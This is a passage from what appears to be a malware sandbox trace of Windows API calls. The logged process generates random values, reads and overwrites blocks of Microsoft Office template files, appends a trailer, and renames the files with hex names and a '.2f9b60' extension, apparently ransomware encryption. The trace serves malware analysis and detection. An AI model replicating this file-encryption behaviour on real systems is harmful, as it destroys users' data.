| out: lpNewFilePointer=0x0) returned 1 [0138.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9550 [0138.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0138.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0138.717] NtQuerySystemTime (in: CurrentTime=0x37e9f960 | out: CurrentTime=0x37e9f960*=132462177439642000) returned 0x0 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x3db66709 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x4cff970b [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0xd4ca88e [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x6118bdf1 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x18c72c86 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x77df69e5 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x55e59de7 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x31c61f0b [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x66df1a12 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x4da313ad [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x8e00104 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x75af81 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x4abc5e92 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x139b503c [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x11732d2d [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x45e6d297 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0xd922ba3 [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x39cbe7ab [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x2a509e0a [0138.717] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x68cea73 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0xb6721e2 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x29b0af01 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x732bc40b [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x6c7d9162 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x213b1008 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x730b0295 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x422b7b1b [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x36f5cb4 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x2a2c71b5 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0xbb8ee4c [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x160760f3 [0138.718] RtlRandomEx (in: Seed=0x37e9f950 | out: Seed=0x37e9f950) returned 0x108bf73f [0138.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0138.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a710 [0138.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6b0) returned 1 [0138.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9550) returned 1 [0138.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42091180 [0138.726] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.726] ReadFile (in: hFile=0x1dd0, lpBuffer=0x42091180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37e9f9c0, lpOverlapped=0x0 | out: lpBuffer=0x42091180*, lpNumberOfBytesRead=0x37e9f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.737] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0138.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6b0) returned 1 [0138.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420989a0 [0138.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0138.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0138.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a740) returned 1 [0138.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.738] WriteFile (hFile=0x1dd0, lpBuffer=0x420989a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37e9f9c0, lpOverlapped=0x0) [0179.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420989a0) returned 1 [0179.900] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.900] ReadFile (in: hFile=0x1dd0, lpBuffer=0x42091180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37e9f9c0, lpOverlapped=0x0 | out: lpBuffer=0x42091180*, lpNumberOfBytesRead=0x37e9f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.003] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ecd0 [0182.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ecd0) returned 1 [0182.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4300a8f0 [0182.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ecd0 [0182.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed60 [0182.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ed60) returned 1 [0182.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.006] WriteFile (in: hFile=0x1dd0, lpBuffer=0x4300a8f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37e9f9c0, lpOverlapped=0x0 | out: lpBuffer=0x4300a8f0*, lpNumberOfBytesWritten=0x37e9f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4300a8f0) returned 1 [0199.220] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x41454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.220] ReadFile (in: hFile=0x1dd0, lpBuffer=0x42091180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37e9f9c0, lpOverlapped=0x0 | out: lpBuffer=0x42091180*, lpNumberOfBytesRead=0x37e9f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.236] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x41454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202667b0 [0199.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202667b0) returned 1 [0199.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2038dcc0 [0199.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202667b0 [0199.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0199.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0199.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.241] WriteFile (in: hFile=0x1dd0, lpBuffer=0x2038dcc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37e9f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2038dcc0*, lpNumberOfBytesWritten=0x37e9f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038dcc0) returned 1 [0214.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863960 [0214.651] SetFilePointerEx (in: hFile=0x1dd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.651] WriteFile (in: hFile=0x1dd0, lpBuffer=0x431f6140*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x37e9fa70, lpOverlapped=0x0 | out: lpBuffer=0x431f6140*, lpNumberOfBytesWritten=0x37e9fa70*=0x154, lpOverlapped=0x0) returned 1 [0218.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0218.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0218.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202637d0 [0218.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0218.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0218.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0218.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce62690 [0218.691] sprintf (in: _Dest=0x1ce62690, _Format="%c%c" | out: _Dest="2a") returned 2 [0218.691] sprintf (in: _Dest=0x1ce62692, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.691] sprintf (in: _Dest=0x1ce62694, _Format="%c%c" | out: _Dest="f3") returned 2 [0218.691] sprintf (in: _Dest=0x1ce62696, _Format="%c%c" | out: _Dest="68") returned 2 [0218.691] sprintf (in: _Dest=0x1ce62698, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.691] sprintf (in: _Dest=0x1ce6269a, _Format="%c%c" | out: _Dest="58") returned 2 [0218.691] sprintf (in: _Dest=0x1ce6269c, _Format="%c%c" | out: _Dest="62") returned 2 [0218.691] sprintf (in: _Dest=0x1ce6269e, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.691] sprintf (in: _Dest=0x1ce626a0, _Format="%c%c" | out: _Dest="1f") returned 2 [0218.691] sprintf (in: _Dest=0x1ce626a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.691] sprintf (in: _Dest=0x1ce626a4, _Format="%c%c" | out: _Dest="5f") returned 2 [0218.691] sprintf (in: _Dest=0x1ce626a6, _Format="%c%c" | out: _Dest="df") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626a8, _Format="%c%c" | out: _Dest="66") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626aa, _Format="%c%c" | out: _Dest="24") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626ac, _Format="%c%c" | out: _Dest="78") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626ae, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626b0, _Format="%c%c" | out: _Dest="1d") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626b2, _Format="%c%c" | out: _Dest="21") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626b4, _Format="%c%c" | out: _Dest="9d") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626b6, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626b8, _Format="%c%c" | out: _Dest="71") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626ba, _Format="%c%c" | out: _Dest="41") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626bc, _Format="%c%c" | out: _Dest="52") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626be, _Format="%c%c" | out: _Dest="09") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626c0, _Format="%c%c" | out: _Dest="37") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626c2, _Format="%c%c" | out: _Dest="aa") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626c4, _Format="%c%c" | out: _Dest="d9") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626c6, _Format="%c%c" | out: _Dest="34") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626c8, _Format="%c%c" | out: _Dest="69") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626ca, _Format="%c%c" | out: _Dest="23") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626cc, _Format="%c%c" | out: _Dest="e5") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626ce, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626d0, _Format="%c%c" | out: _Dest="2a") returned 2 [0218.692] sprintf (in: _Dest=0x1ce626d2, _Format="%c%c" | out: _Dest="a1") returned 2 [0218.692] RtlInitAnsiString (in: DestinationString=0x37e9fae8, SourceString="2aa4f3688b5862f81f7d5fdf6624783d1d219d1a7141520937aad9346923e5ae2aa1" | out: DestinationString="2aa4f3688b5862f81f7d5fdf6624783d1d219d1a7141520937aad9346923e5ae2aa1") [0218.692] RtlAnsiStringToUnicodeString (in: DestinationString=0x37e9fab8, SourceString="2aa4f3688b5862f81f7d5fdf6624783d1d219d1a7141520937aad9346923e5ae2aa1", AllocateDestinationString=1 | out: DestinationString="2aa4f3688b5862f81f7d5fdf6624783d1d219d1a7141520937aad9346923e5ae2aa1") returned 0x0 [0218.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431e3300 [0218.693] wcscat (in: _Dest=0x431e42a0, _Source="2aa4f3688b5862f81" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81" [0218.693] wcscat (in: _Dest=0x431e42a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81.2f9b60" [0218.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81.2f9b60", NtPathName=0x37e9fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\2aa4f3688b5862f81.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312a7e0 Thread: id = 2105 os_tid = 0x87c [0138.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx")) returned 0x20 [0138.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx", dwFileAttributes=0x20) returned 1 [0138.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dc8 [0138.733] GetFileSizeEx (in: hFile=0x1dc8, lpFileSize=0x3846fcc0 | out: lpFileSize=0x3846fcc0*=127167) returned 1 [0138.733] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x1f0bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.733] ReadFile (in: hFile=0x1dc8, lpBuffer=0x3846fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3846fc88, lpOverlapped=0x0 | out: lpBuffer=0x3846fc40*, lpNumberOfBytesRead=0x3846fc88*=0x4, lpOverlapped=0x0) returned 1 [0138.738] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0138.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a770 [0138.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0138.739] NtQuerySystemTime (in: CurrentTime=0x3846fb80 | out: CurrentTime=0x3846fb80*=132462177439798000) returned 0x0 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x67a303a2 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x654e30a [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x55c3ddae [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x37d7ab70 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x4adaea47 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x2d2cd12a [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x622dd2d8 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0xe08090f [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x398cfbd1 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x52d94ac9 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x6f9852f [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x2fd91598 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x21e10faa [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x56b74fdb [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x4013ae64 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x369bdd31 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x3c9c223b [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x3dc0d067 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x34777f80 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x7d8c3560 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x1e46bc82 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x1667b581 [0138.739] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x53e333e9 [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x1e2ce5cb [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x3b814d22 [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x4f894d48 [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x6cb53cae [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x6742384f [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x4364230b [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x66ec36ed [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x11d0f7 [0138.740] RtlRandomEx (in: Seed=0x3846fb70 | out: Seed=0x3846fb70) returned 0x74164b09 [0138.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0138.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a800 [0138.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7a0) returned 1 [0138.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a740) returned 1 [0138.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4209c5b0 [0138.749] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.749] ReadFile (in: hFile=0x1dc8, lpBuffer=0x4209c5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3846fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4209c5b0*, lpNumberOfBytesRead=0x3846fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.753] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0138.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a740) returned 1 [0138.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a01c0 [0138.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0138.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0138.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7a0) returned 1 [0138.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.754] WriteFile (in: hFile=0x1dc8, lpBuffer=0x420a01c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3846fbe0, lpOverlapped=0x0 | out: lpBuffer=0x420a01c0*, lpNumberOfBytesWritten=0x3846fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420a01c0) returned 1 [0161.355] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.355] ReadFile (in: hFile=0x1dc8, lpBuffer=0x4209c5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3846fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4209c5b0*, lpNumberOfBytesRead=0x3846fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.380] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0161.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4040 [0161.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4040) returned 1 [0161.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4233d170 [0161.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4040 [0161.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4070 [0161.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4070) returned 1 [0161.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.383] WriteFile (hFile=0x1dc8, lpBuffer=0x4233d170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3846fbe0, lpOverlapped=0x0) [0187.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4233d170) returned 1 [0187.175] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x1b4bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.175] ReadFile (in: hFile=0x1dc8, lpBuffer=0x4209c5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3846fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4209c5b0*, lpNumberOfBytesRead=0x3846fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.510] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x1b4bf, lpNewFilePointer=0x0, 